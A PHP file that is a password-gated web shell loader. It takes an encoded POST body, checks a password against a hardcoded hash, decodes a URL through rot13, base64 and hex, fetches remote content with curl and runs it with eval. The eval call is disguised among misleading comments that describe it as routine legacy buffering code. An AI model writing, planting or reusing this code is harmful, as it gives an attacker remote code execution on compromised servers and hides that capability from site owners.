<?php
ini_set('display_errors', 1);
error_reporting(E_ALL);

set_time_limit(0);

$disabled_functions = explode(',', ini_get('disable_functions'));
$suhosin_blacklist = ini_get('suhosin.executor.func.blacklist');

if (in_array('eval', $disabled_functions)) {
    exit("eval is disabled via disable_functions.");
} elseif ($suhosin_blacklist && strpos($suhosin_blacklist, 'eval') !== false) {
    exit("eval is disabled via suhosin.executor.func.blacklist.");
} else {
}

$expected_hash = "7b71eb397e0be6a69e66bd5757bdd42f";

function decrypt_data($encrypted_data) {
    $decoded_base64 = base64_decode(str_rot13($encrypted_data));
    $unpacked = unpack("H*", $decoded_base64);
    $json_string = hex2bin($unpacked[1]);
    return json_decode($json_string, true);
}
function isValidJson($string) {
    if (!is_string($string) || trim($string) === '') {
        return false;
    }
    $result = json_decode($string);
    $error = json_last_error();
    if ($error !== JSON_ERROR_NONE) {
        return false;
    }
    if ($result === null && strtolower(trim($string)) !== 'null') {
        return false;
    }
    return true;
}
function sendGetRequest($url, $headers = []) {

    $ch = curl_init($url);

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);


    if (!empty($headers)) {
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    }

    $response = curl_exec($ch);

    if ($response === false) {
        $error = curl_error($ch);
        return "fail: $error";
    }

    return $response;
}


$rawData = file_get_contents('php://input');
$rawData=substr($rawData, 10);
$datajson= base64_decode($rawData);
if(!isValidJson($datajson)) {
    exit("invalid input");
}
$realdata=json_decode($datajson, true);
if (!$realdata || !isset($realdata['passwd'], $realdata['data'])) {
    die("invalid data");
}
$pass2 = md5("@".md5($realdata['passwd'])."@".md5(md5($realdata['passwd']))."@");
$pass3 = md5(md5($pass2));
if ($pass3 != $expected_hash) {
    die("errorpd");
}


$data = decrypt_data($realdata['data']);

$url = $data['link'];

$response = sendGetRequest($url);

/*This is a common function used for handling output buffering in legacy systems*/EvAl/*Please refer to the documentation for additional configuration options and settings*/(/*The following variable contains the processed result from the upstream service*/$response/*End of the primary execution block for the response handler module*/)/*Cleanup and finalization of the runtime environment is handled elsewhere*/;